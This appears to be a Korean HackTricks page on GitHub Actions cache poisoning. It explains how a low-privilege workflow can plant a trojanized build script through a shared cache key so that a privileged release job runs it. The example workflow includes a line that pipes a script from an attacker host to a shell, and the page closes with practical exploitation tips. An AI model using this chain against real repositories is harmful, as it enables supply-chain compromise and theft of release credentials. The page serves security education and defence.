GH Actions - Cache Poisoning

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

개요

GitHub Actions의 캐시는 리포지토리 단위로 전역입니다. 캐시 key(또는 restore-keys)를 아는 어떤 workflow든 해당 항목을 채울 수 있으며, 작업이 permissions: contents: read만 가지고 있어도 가능합니다. GitHub은 workflow, 이벤트 타입, 또는 신뢰 수준별로 캐시를 분리하지 않으므로, 권한이 낮은 작업이 손상되면 권한이 높은 release 작업이 나중에 복원할 캐시를 오염시킬 수 있습니다. 이것이 Ultralytics 침해가 pull_request_target workflow에서 PyPI 게시 파이프라인으로 전이된 방식입니다.

공격 프리미티브

  • actions/cache는 복원과 저장 작업을 모두 노출합니다 (actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4). 저장 호출은 포크에서 트리거된 진정으로 신뢰할 수 없는 pull_request workflows를 제외한 모든 작업에서 허용됩니다.
  • 캐시 항목은 오직 key로만 식별됩니다. 넓은 범위의 restore-keys는 공격자가 접두사(prefix)만 충돌시키면 되므로 페이로드 주입을 쉽게 만듭니다.
  • 캐시된 파일시스템은 그대로 복원됩니다. 캐시에 스크립트나 바이너리가 포함되어 나중에 실행된다면, 공격자가 그 실행 경로를 제어하게 됩니다.

예시 악용 체인

Author workflow (pull_request_target)가 캐시를 오염시켰다:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

Privileged workflow가 복원되어 poisoned cache를 실행했다:

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

두 번째 작업은 이제 릴리스 자격 증명 (PyPI tokens, PATs, cloud deploy keys, etc.)을 보유한 상태에서 공격자가 제어하는 코드를 실행합니다.

실전 악용 팁

  • 캐시를 여전히 저장하는 pull_request_target, issue_comment 또는 bot 명령으로 트리거되는 워크플로를 노리세요; GitHub는 러너가 리포지토리에 대해 읽기 권한만 있어도 레포지토리 전체 키를 덮어쓸 수 있게 합니다.
  • 신뢰 경계를 넘나들며 재사용되는 결정적 캐시 키(예: pip-${{ hashFiles('poetry.lock') }}) 또는 관대한 restore-keys를 찾아, 권한 있는 워크플로가 실행되기 전에 악성 tarball을 저장하세요.
  • 로그에서 Cache saved 항목을 모니터링하거나 자체 cache-save 단계를 추가해 다음 릴리스 작업이 페이로드를 복원하고 trojanized scripts or binaries를 실행하도록 하세요.

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기